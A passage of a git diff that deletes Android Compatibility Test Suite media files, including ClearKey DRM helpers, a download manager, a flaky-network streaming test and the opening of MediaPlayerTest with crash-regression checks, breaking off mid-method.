-            final MediaDrm.KeyRequest request = mMediaPlayer.getKeyRequest(
-                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
-                    initData,
-                    mime,
-                    keyType,
-                    null /* optionalKeyRequestParameters */
-                    );
-
-            Log.d(TAG, "setupDrm: mMediaPlayer.getKeyRequest(" + keyTypeStr +
-                    ") request -> " + request);
-
-            // diverging from GTS
-            byte[][] clearKeys = new byte[][] { CLEAR_KEY_CENC };
-            byte[] response = createKeysResponse(request, clearKeys);
-
-            // null is returned when the response is for a streaming or release request.
-            byte[] keySetId = mMediaPlayer.provideKeyResponse(
-                    (keyType == MediaDrm.KEY_TYPE_RELEASE) ? mKeySetId : null,
-                    response);
-            Log.d(TAG, "setupDrm: provideKeyResponse -> " + Arrays.toString(keySetId));
-            // storing offline key for a later restore
-            mKeySetId = (keyType == MediaDrm.KEY_TYPE_OFFLINE) ? keySetId : null;
-
-        } catch (MediaPlayer.NoDrmSchemeException e) {
-            Log.d(TAG, "setupDrm: NoDrmSchemeException");
-            e.printStackTrace();
-            throw e;
-        } catch (MediaPlayer.ProvisioningNetworkErrorException e) {
-            Log.d(TAG, "setupDrm: ProvisioningNetworkErrorException");
-            e.printStackTrace();
-            throw e;
-        } catch (MediaPlayer.ProvisioningServerErrorException e) {
-            Log.d(TAG, "setupDrm: ProvisioningServerErrorException");
-            e.printStackTrace();
-            throw e;
-        } catch (UnsupportedSchemeException e) {
-            Log.d(TAG, "setupDrm: UnsupportedSchemeException");
-            e.printStackTrace();
-            throw e;
-        } catch (ResourceBusyException e) {
-            Log.d(TAG, "setupDrm: ResourceBusyException");
-            e.printStackTrace();
-            throw e;
-        } catch (Exception e) {
-            Log.d(TAG, "setupDrm: Exception " + e);
-            e.printStackTrace();
-            throw e;
-        }
-    } // setupDrm
-
-    private void setupDrmRestore(DrmInfo drmInfo, boolean prepareDrm) throws Exception {
-        Log.d(TAG, "setupDrmRestore: drmInfo: " + drmInfo + " prepareDrm: " + prepareDrm);
-        try {
-            if (prepareDrm) {
-                // DRM preparation
-                UUID[] supportedSchemes = drmInfo.getSupportedSchemes();
-                if (supportedSchemes.length == 0) {
-                    fail("setupDrmRestore: No supportedSchemes");
-                }
-
-                // instead of supportedSchemes[0] in GTS
-                UUID drmScheme = CLEARKEY_SCHEME_UUID;
-                Log.d(TAG, "setupDrmRestore: selected " + drmScheme);
-
-                mMediaPlayer.prepareDrm(drmScheme);
-            }
-
-            if (mKeySetId == null) {
-                fail("setupDrmRestore: Offline key has not been setup.");
-            }
-
-            mMediaPlayer.restoreKeys(mKeySetId);
-
-        } catch (MediaPlayer.NoDrmSchemeException e) {
-            Log.v(TAG, "setupDrmRestore: NoDrmSchemeException");
-            e.printStackTrace();
-            throw e;
-        } catch (Exception e) {
-            Log.v(TAG, "setupDrmRestore: Exception " + e);
-            e.printStackTrace();
-            throw e;
-        }
-    } // setupDrmRestore
-
-    //////////////////////////////////////////////////////////////////////////////////////////////
-    // Diverging from GTS
-
-    // Clearkey helpers
-
-    /**
-     * Convert a hex string into byte array.
-     */
-    private static byte[] hexStringToByteArray(String s) {
-        int len = s.length();
-        byte[] data = new byte[len / 2];
-        for (int i = 0; i < len; i += 2) {
-            data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) +
-                                   Character.digit(s.charAt(i + 1), 16));
-        }
-        return data;
-    }
-
-    /**
-     * Extracts key ids from the pssh blob returned by getKeyRequest() and
-     * places it in keyIds.
-     * keyRequestBlob format (section 5.1.3.1):
-     * https://dvcs.w3.org/hg/html-media/raw-file/default/encrypted-media/encrypted-media.html
-     *
-     * @return size of keyIds vector that contains the key ids, 0 for error
-     */
-    private int getKeyIds(byte[] keyRequestBlob, Vector<String> keyIds) {
-        if (0 == keyRequestBlob.length || keyIds == null) {
-            Log.e(TAG, "getKeyIds: Empty keyRequestBlob or null keyIds.");
-            return 0;
-        }
-
-        String jsonLicenseRequest = new String(keyRequestBlob);
-        keyIds.clear();
-
-        try {
-            JSONObject license = new JSONObject(jsonLicenseRequest);
-            Log.v(TAG, "getKeyIds: license: " + license);
-            final JSONArray ids = license.getJSONArray("kids");
-            Log.v(TAG, "getKeyIds: ids: " + ids);
-            for (int i = 0; i < ids.length(); ++i) {
-                keyIds.add(ids.getString(i));
-            }
-        } catch (JSONException e) {
-            Log.e(TAG, "Invalid JSON license = " + jsonLicenseRequest);
-            return 0;
-        }
-        return keyIds.size();
-    }
-
-    /**
-     * Creates the JSON Web Key string.
-     *
-     * @return JSON Web Key string.
-     */
-    private String createJsonWebKeySet(Vector<String> keyIds, Vector<String> keys) {
-        String jwkSet = "{\"keys\":[";
-        for (int i = 0; i < keyIds.size(); ++i) {
-            String id = new String(keyIds.get(i).getBytes(Charset.forName("UTF-8")));
-            String key = new String(keys.get(i).getBytes(Charset.forName("UTF-8")));
-
-            jwkSet += "{\"kty\":\"oct\",\"kid\":\"" + id +
-                    "\",\"k\":\"" + key + "\"}";
-        }
-        jwkSet += "]}";
-        return jwkSet;
-    }
-
-    /**
-     * Retrieves clear key ids from KeyRequest and creates the response in place.
-     */
-    private byte[] createKeysResponse(MediaDrm.KeyRequest keyRequest, byte[][] clearKeys) {
-
-        Vector<String> keyIds = new Vector<String>();
-        if (0 == getKeyIds(keyRequest.getData(), keyIds)) {
-            Log.e(TAG, "No key ids found in initData");
-            return null;
-        }
-
-        if (clearKeys.length != keyIds.size()) {
-            Log.e(TAG, "Mismatch number of key ids and keys: ids=" +
-                    keyIds.size() + ", keys=" + clearKeys.length);
-            return null;
-        }
-
-        // Base64 encodes clearkeys. Keys are known to the application.
-        Vector<String> keys = new Vector<String>();
-        for (int i = 0; i < clearKeys.length; ++i) {
-            String clearKey = Base64.encodeToString(clearKeys[i],
-                    Base64.NO_PADDING | Base64.NO_WRAP);
-            keys.add(clearKey);
-        }
-
-        String jwkSet = createJsonWebKeySet(keyIds, keys);
-        byte[] jsonResponse = jwkSet.getBytes(Charset.forName("UTF-8"));
-
-        return jsonResponse;
-    }
-
-    //////////////////////////////////////////////////////////////////////////////////////////////
-    // Playback/download helpers
-
-    private static class MediaDownloadManager {
-        private static final String TAG = "MediaDownloadManager";
-
-        private final Context mContext;
-        private final DownloadManager mDownloadManager;
-
-        public MediaDownloadManager(Context context) {
-            mContext = context;
-            mDownloadManager =
-                    (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
-        }
-
-        public long downloadFileWithRetries(Uri uri, Uri file, long timeout, int retries)
-            throws Exception {
-            long id = -1;
-            for (int i = 0; i < retries; i++) {
-                try {
-                    id = downloadFile(uri, file, timeout);
-                    if (id != -1) {
-                        break;
-                    }
-                } catch (Exception e) {
-                    removeFile(id);
-                    Log.w(TAG, "Download failed " + i + " times ");
-                }
-            }
-            return id;
-        }
-
-        public long downloadFile(Uri uri, Uri file, long timeout) throws Exception {
-            Log.i(TAG, "uri:" + uri + " file:" + file + " wait:" + timeout + " Secs");
-            final DownloadReceiver receiver = new DownloadReceiver();
-            long id = -1;
-            try {
-                IntentFilter intentFilter =
-                        new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE);
-                mContext.registerReceiver(receiver, intentFilter);
-
-                Request request = new Request(uri);
-                request.setDestinationUri(file);
-                id = mDownloadManager.enqueue(request);
-                Log.i(TAG, "enqueue:" + id);
-
-                receiver.waitForDownloadComplete(timeout, id);
-            } finally {
-                mContext.unregisterReceiver(receiver);
-            }
-            return id;
-        }
-
-        public void removeFile(long id) {
-            Log.i(TAG, "removeFile:" + id);
-            mDownloadManager.remove(id);
-        }
-
-        public Uri getUriForDownloadedFile(long id) {
-            return mDownloadManager.getUriForDownloadedFile(id);
-        }
-
-        private final class DownloadReceiver extends BroadcastReceiver {
-            private HashSet<Long> mCompleteIds = new HashSet<>();
-
-            public DownloadReceiver() {
-            }
-
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                synchronized (mCompleteIds) {
-                    if (DownloadManager.ACTION_DOWNLOAD_COMPLETE.equals(intent.getAction())) {
-                        mCompleteIds.add(
-                                intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, -1));
-                        mCompleteIds.notifyAll();
-                    }
-                }
-            }
-
-            private boolean isCompleteLocked(long... ids) {
-                for (long id : ids) {
-                    if (!mCompleteIds.contains(id)) {
-                        return false;
-                    }
-                }
-                return true;
-            }
-
-            public void waitForDownloadComplete(long timeoutSecs, long... waitForIds)
-                throws InterruptedException {
-                if (waitForIds.length == 0) {
-                    throw new IllegalArgumentException("Missing IDs to wait for");
-                }
-
-                final long startTime = SystemClock.elapsedRealtime();
-                do {
-                    synchronized (mCompleteIds) {
-                        mCompleteIds.wait(1000);
-                        if (isCompleteLocked(waitForIds)) {
-                            return;
-                        }
-                    }
-                } while ((SystemClock.elapsedRealtime() - startTime) < timeoutSecs * 1000);
-
-                throw new InterruptedException("Timeout waiting for IDs " +
-                        Arrays.toString(waitForIds) + "; received " + mCompleteIds.toString()
-                        + ".  Make sure you have WiFi or some other connectivity for this test.");
-            }
-        }
-
-    }  // MediaDownloadManager
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
deleted file mode 100644
index 3143ef1..0000000
--- a/tests/tests/media/src/android/media/cts/MediaPlayerFlakyNetworkTest.java
+++ /dev/null
@@ -1,354 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.MediaPlayer;
-import android.media.cts.TestUtils.Monitor;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.webkit.cts.CtsTestServer;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import org.apache.http.HttpServerConnection;
-
-import org.apache.http.impl.DefaultHttpServerConnection;
-import org.apache.http.impl.io.SocketOutputBuffer;
-import org.apache.http.io.SessionOutputBuffer;
-import org.apache.http.params.HttpParams;
-import org.apache.http.util.CharArrayBuffer;
-
-import java.io.IOException;
-
-import java.net.Socket;
-import java.util.Random;
-import java.util.Vector;
-import java.util.concurrent.Callable;
-import java.util.concurrent.FutureTask;
-
-/**
- * Executes a range of tests on MediaPlayer while streaming a video
- * from an HTTP server over a simulated "flaky" network.
- */
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase {
-    private static final String PKG = "android.media.cts";
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    private static final String[] TEST_VIDEOS = {
-        "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4",
-        "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-        "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
-        "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4",
-        "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_22050hz.3gp"
-    };
-
-    // Allow operations to block for 3500ms before assuming they will ANR.
-    // We don't allow the full 5s because cpu load, etc, reduces the budget.
-    private static final int ANR_TIMEOUT_MILLIS = 3500;
-
-    private CtsTestServer mServer;
-
-    @Override
-    public void tearDown() throws Exception {
-        releaseMediaPlayer();
-        releaseHttpServer();
-        super.tearDown();
-    }
-
-    public void test_S0P0() throws Throwable {
-        doPlayStreams(0, 0);
-    }
-
-    public void test_S1P000005() throws Throwable {
-        doPlayStreams(1, 0.000005f);
-    }
-
-    public void test_S2P00001() throws Throwable {
-        doPlayStreams(2, 0.00001f);
-    }
-
-    public void test_S3P00001() throws Throwable {
-        doPlayStreams(3, 0.00001f);
-    }
-
-    public void test_S4P00001() throws Throwable {
-        doPlayStreams(4, 0.00001f);
-    }
-
-    public void test_S5P00001() throws Throwable {
-        doPlayStreams(5, 0.00001f);
-    }
-
-    public void test_S6P00002() throws Throwable {
-        doPlayStreams(6, 0.00002f);
-    }
-
-    private String[] getSupportedVideos() {
-        Vector<String> supported = new Vector<String>();
-        for (String video : TEST_VIDEOS) {
-            Preconditions.assertTestFileExists(mInpPrefix + video);
-            if (MediaUtils.hasCodecsForPath(mContext, mInpPrefix + video)) {
-                supported.add(video);
-            }
-        }
-        return supported.toArray(new String[supported.size()]);
-    }
-
-    private void doPlayStreams(int seed, float probability) throws Throwable {
-        String[] supported = getSupportedVideos();
-        if (supported.length == 0) {
-            MediaUtils.skipTest("no codec found");
-            return;
-        }
-
-        Random random = new Random(seed);
-        createHttpServer(seed, probability);
-        for (int i = 0; i < 10; i++) {
-            String video = getRandomTestVideo(random, supported);
-            doPlayMp4Stream(video, 20000, 5000);
-            doAsyncPrepareAndRelease(video);
-            doRandomOperations(video);
-        }
-        doPlayMp4Stream(getRandomTestVideo(random, supported), 30000, 20000);
-        releaseHttpServer();
-    }
-
-    private String getRandomTestVideo(Random random, String[] videos) {
-        return videos[random.nextInt(videos.length)];
-    }
-
-    private void doPlayMp4Stream(String video, int millisToPrepare, int millisToPlay)
-            throws Throwable {
-        createMediaPlayer();
-        localHttpStreamTest(video);
-
-        mOnPrepareCalled.waitForSignal(millisToPrepare);
-        if (mOnPrepareCalled.isSignalled()) {
-            mMediaPlayer.start();
-            Thread.sleep(millisToPlay);
-        } else {
-            // This could be because the "connection" was too slow.  Assume ok.
-        }
-
-        releaseMediaPlayerAndFailIfAnr();
-    }
-
-    private void doAsyncPrepareAndRelease(String video) throws Throwable {
-        Random random = new Random(1);
-        for (int i = 0; i < 10; i++) {
-            createMediaPlayer();
-            localHttpStreamTest(video);
-            Thread.sleep(random.nextInt(500));
-            releaseMediaPlayerAndFailIfAnr();
-        }
-    }
-
-    private void doRandomOperations(String video) throws Throwable {
-        Random random = new Random(1);
-        createMediaPlayer();
-        localHttpStreamTest(video);
-        mOnPrepareCalled.waitForSignal(10000);
-        if (mOnPrepareCalled.isSignalled()) {
-            mMediaPlayer.start();
-            for (int i = 0; i < 50; i++) {
-                Thread.sleep(random.nextInt(100));
-                switch (random.nextInt(3)) {
-                    case 0:
-                        mMediaPlayer.start();
-                        assertTrue(mMediaPlayer.isPlaying());
-                        break;
-                    case 1:
-                        mMediaPlayer.pause();
-                        assertFalse(mMediaPlayer.isPlaying());
-                        break;
-                    case 2:
-                        mMediaPlayer.seekTo(random.nextInt(10000));
-                        break;
-                }
-            }
-        } else {
-          // Prepare took more than 10s, give up.
-          // This could be because the "connection" was too slow
-        }
-        releaseMediaPlayerAndFailIfAnr();
-    }
-
-    private void releaseMediaPlayerAndFailIfAnr() throws Throwable {
-        final Monitor releaseThreadRunning = new Monitor();
-        Thread releaseThread = new Thread() {
-            public void run() {
-                releaseThreadRunning.signal();
-                releaseMediaPlayer();
-            }
-        };
-        releaseThread.start();
-        releaseThreadRunning.waitForSignal();
-        releaseThread.join(ANR_TIMEOUT_MILLIS);
-        assertFalse("release took longer than " + ANR_TIMEOUT_MILLIS, releaseThread.isAlive());
-    }
-
-    private void createMediaPlayer() throws Throwable {
-        if (mMediaPlayer == null) {
-            mMediaPlayer = createMediaPlayerOnMainThread();
-        }
-    }
-
-    private void releaseMediaPlayer() {
-        MediaPlayer old = mMediaPlayer;
-        mMediaPlayer = null;
-        if (old != null) {
-            old.release();
-        }
-    }
-
-    private MediaPlayer createMediaPlayerOnMainThread() throws Throwable {
-        Callable<MediaPlayer> callable = new Callable<MediaPlayer>() {
-            @Override
-            public MediaPlayer call() throws Exception {
-                return new MediaPlayer();
-            }
-        };
-        FutureTask<MediaPlayer> future = new FutureTask<MediaPlayer>(callable);
-        getInstrumentation().runOnMainSync(future);
-        return future.get();
-    }
-
-
-    private void createHttpServer(int seed, final float probability) throws Throwable {
-        final Random random = new Random(seed);
-        mServer = new CtsTestServer(mContext) {
-            @Override
-            protected DefaultHttpServerConnection createHttpServerConnection() {
-                return new FlakyHttpServerConnection(random, probability);
-            }
-        };
-    }
-
-    private void releaseHttpServer() {
-        if (mServer != null) {
-            mServer.shutdown();
-            mServer = null;
-        }
-    }
-
-    private void localHttpStreamTest(final String name)
-            throws Throwable {
-        Preconditions.assertTestFileExists(mInpPrefix + name);
-        String stream_url = mServer.getAssetUrl(mInpPrefix + name);
-        mMediaPlayer.setDataSource(stream_url);
-
-        mMediaPlayer.setDisplay(getActivity().getSurfaceHolder());
-        mMediaPlayer.setScreenOnWhilePlaying(true);
-
-        mOnPrepareCalled.reset();
-        mMediaPlayer.setOnPreparedListener(new MediaPlayer.OnPreparedListener() {
-            @Override
-            public void onPrepared(MediaPlayer mp) {
-                mOnPrepareCalled.signal();
-            }
-        });
-
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                fail("Media player had error " + what + " extra " + extra + " playing " + name);
-                return true;
-            }
-        });
-
-        mMediaPlayer.prepareAsync();
-    }
-
-    private class FlakyHttpServerConnection extends DefaultHttpServerConnection {
-
-        private final Random mRandom;
-        private final float mProbability;
-
-        public FlakyHttpServerConnection(Random random, float probability) {
-            mRandom = random;
-            mProbability = probability;
-        }
-
-        @Override
-        protected SessionOutputBuffer createHttpDataTransmitter(
-                Socket socket, int buffersize, HttpParams params) throws IOException {
-            return createSessionOutputBuffer(socket, buffersize, params);
-        }
-
-        SessionOutputBuffer createSessionOutputBuffer(
-                Socket socket, int buffersize, HttpParams params) throws IOException {
-            return new SocketOutputBuffer(socket, buffersize, params) {
-                @Override
-                public void write(byte[] b) throws IOException {
-                    write(b, 0, b.length);
-                }
-
-                @Override
-                public void write(byte[] b, int off, int len) throws IOException {
-                    while (len-- > 0) {
-                        write(b[off++]);
-                    }
-                }
-
-                @Override
-                public void writeLine(String s) throws IOException {
-                    maybeDelayHeader(mProbability);
-                    super.writeLine(s);
-                }
-
-                @Override
-                public void writeLine(CharArrayBuffer buffer) throws IOException {
-                    maybeDelayHeader(mProbability);
-                    super.writeLine(buffer);
-                }
-
-                @Override
-                public void write(int b) throws IOException {
-                    maybeDelay(mProbability);
-                    super.write(b);
-                }
-
-                private void maybeDelayHeader(float probability) throws IOException {
-                    // Increase probability of delay when writing headers to simulate
-                    // slow initial connection / server response.
-                    maybeDelay(probability * 50);
-                }
-
-                private void maybeDelay(float probability) throws IOException {
-                    try {
-                        float random = mRandom.nextFloat();
-                        if (random < probability) {
-                            int sleepTimeMs = 1000 + mRandom.nextInt(5000);
-                            Thread.sleep(sleepTimeMs);
-                            flush();
-                        } else if (random < probability * 100) {
-                            Thread.sleep(1);
-                            flush();
-                        }
-                    } catch (InterruptedException e) {
-                        // Ignored
-                    }
-                }
-
-            };
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceStubActivity.java b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceStubActivity.java
deleted file mode 100644
index aad69d9..0000000
--- a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceStubActivity.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.app.Activity;
-import android.content.res.AssetFileDescriptor;
-import android.content.res.Resources;
-import android.media.MediaPlayer;
-import android.os.Bundle;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-
-import java.io.File;
-import java.io.IOException;
-
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class MediaPlayerSurfaceStubActivity extends Activity {
-
-    private static final String TAG = "MediaPlayerSurfaceStubActivity";
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    protected Resources mResources;
-
-    private VideoSurfaceView mVideoView = null;
-    private MediaPlayer mMediaPlayer = null;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        mResources = getResources();
-        mMediaPlayer = new MediaPlayer();
-        AssetFileDescriptor afd = null;
-
-        Preconditions.assertTestFileExists(mInpPrefix + "testvideo.3gp");
-        try {
-            File inpFile = new File(mInpPrefix + "testvideo.3gp");
-            ParcelFileDescriptor parcelFD =
-                    ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-            afd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-            mMediaPlayer.setDataSource(
-                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-            afd.close();
-        } catch (Exception e) {
-            Log.e(TAG, e.getMessage(), e);
-        } finally {
-            if (afd != null) {
-                try {
-                    afd.close();
-                } catch (IOException e) {
-                    Log.e(TAG, e.getMessage(), e);
-                }
-            }
-        }
-
-        mVideoView = new VideoSurfaceView(this, mMediaPlayer);
-        setContentView(mVideoView);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        mVideoView.onResume();
-    }
-
-    public void playVideo() throws Exception {
-        mVideoView.startTest();
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
deleted file mode 100644
index a4025bb..0000000
--- a/tests/tests/media/src/android/media/cts/MediaPlayerSurfaceTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.ActivityInstrumentationTestCase2;
-
-import androidx.test.filters.SmallTest;
-
-/**
- */
-@Presubmit
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaPlayerSurfaceTest extends ActivityInstrumentationTestCase2<MediaPlayerSurfaceStubActivity> {
-
-    public MediaPlayerSurfaceTest() {
-        super("android.media.cts", MediaPlayerSurfaceStubActivity.class);
-    }
-
-    public void testSetSurface() throws Exception {
-        Bundle extras = new Bundle();
-        MediaPlayerSurfaceStubActivity activity = launchActivity("android.media.cts",
-                MediaPlayerSurfaceStubActivity.class, extras);
-        activity.playVideo();
-        activity.finish();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
deleted file mode 100644
index 26112a5..0000000
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ /dev/null
@@ -1,2594 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.content.res.AssetFileDescriptor;
-import android.graphics.Rect;
-import android.hardware.Camera;
-import android.media.AudioManager;
-import android.media.CamcorderProfile;
-import android.media.MediaDataSource;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.media.MediaPlayer;
-import android.media.MediaPlayer.OnSeekCompleteListener;
-import android.media.MediaPlayer.OnTimedTextListener;
-import android.media.MediaRecorder;
-import android.media.MediaTimestamp;
-import android.media.PlaybackParams;
-import android.media.SubtitleData;
-import android.media.SyncParams;
-import android.media.TimedText;
-import android.media.audiofx.AudioEffect;
-import android.media.audiofx.Visualizer;
-import android.media.cts.TestUtils.Monitor;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.os.PowerManager;
-import android.os.SystemClock;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import junit.framework.AssertionFailedError;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.StringTokenizer;
-import java.util.UUID;
-import java.util.Vector;
-import java.util.concurrent.BlockingDeque;
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingDeque;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Tests for the MediaPlayer API and local video/audio playback.
- *
- * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
- * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
- * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
- */
-@SmallTest
-@RequiresDevice
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaPlayerTest extends MediaPlayerTestBase {
-
-    private String RECORDED_FILE;
-    private static final String LOG_TAG = "MediaPlayerTest";
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    private static final int  RECORDED_VIDEO_WIDTH  = 176;
-    private static final int  RECORDED_VIDEO_HEIGHT = 144;
-    private static final long RECORDED_DURATION_MS  = 3000;
-    private static final float FLOAT_TOLERANCE = .0001f;
-
-    private final Vector<Integer> mTimedTextTrackIndex = new Vector<>();
-    private final Monitor mOnTimedTextCalled = new Monitor();
-    private int mSelectedTimedTextIndex;
-
-    private final Vector<Integer> mSubtitleTrackIndex = new Vector<>();
-    private final Monitor mOnSubtitleDataCalled = new Monitor();
-    private int mSelectedSubtitleIndex;
-
-    private final Monitor mOnMediaTimeDiscontinuityCalled = new Monitor();
-
-    private File mOutFile;
-
-    private int mBoundsCount;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        RECORDED_FILE = new File(Environment.getExternalStorageDirectory(),
-                "mediaplayer_record.out").getAbsolutePath();
-        mOutFile = new File(RECORDED_FILE);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        if (mOutFile != null && mOutFile.exists()) {
-            mOutFile.delete();
-        }
-    }
-
-    @Presubmit
-    public void testFlacHeapOverflow() throws Exception {
-        testIfMediaServerDied("heap_oob_flac.mp3");
-    }
-
-    protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    private void testIfMediaServerDied(final String res) throws Exception {
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                assertTrue(mp == mMediaPlayer);
-                assertTrue("mediaserver process died", what != MediaPlayer.MEDIA_ERROR_SERVER_DIED);
-                Log.w(LOG_TAG, "onError " + what);
-                return false;
-            }
-        });
-
-        mMediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
-            @Override
-            public void onCompletion(MediaPlayer mp) {
-                assertTrue(mp == mMediaPlayer);
-                mOnCompletionCalled.signal();
-            }
-        });
-
-        AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
-        mMediaPlayer.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        afd.close();
-        try {
-            mMediaPlayer.prepare();
-            mMediaPlayer.start();
-            if (!mOnCompletionCalled.waitForSignal(5000)) {
-                Log.w(LOG_TAG, "testIfMediaServerDied: Timed out waiting for Error/Completion");
-            }
-        } catch (Exception e) {
-            Log.w(LOG_TAG, "playback failed", e);
-        } finally {
-            mMediaPlayer.release();
-        }
-    }
-
-    // Bug 13652927
-    public void testVorbisCrash() throws Exception {
-        MediaPlayer mp = mMediaPlayer;
-        MediaPlayer mp2 = mMediaPlayer2;
-        AssetFileDescriptor afd2 = getAssetFileDescriptorFor("testmp3_2.mp3");
-        mp2.setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength());
-        afd2.close();
-        mp2.prepare();
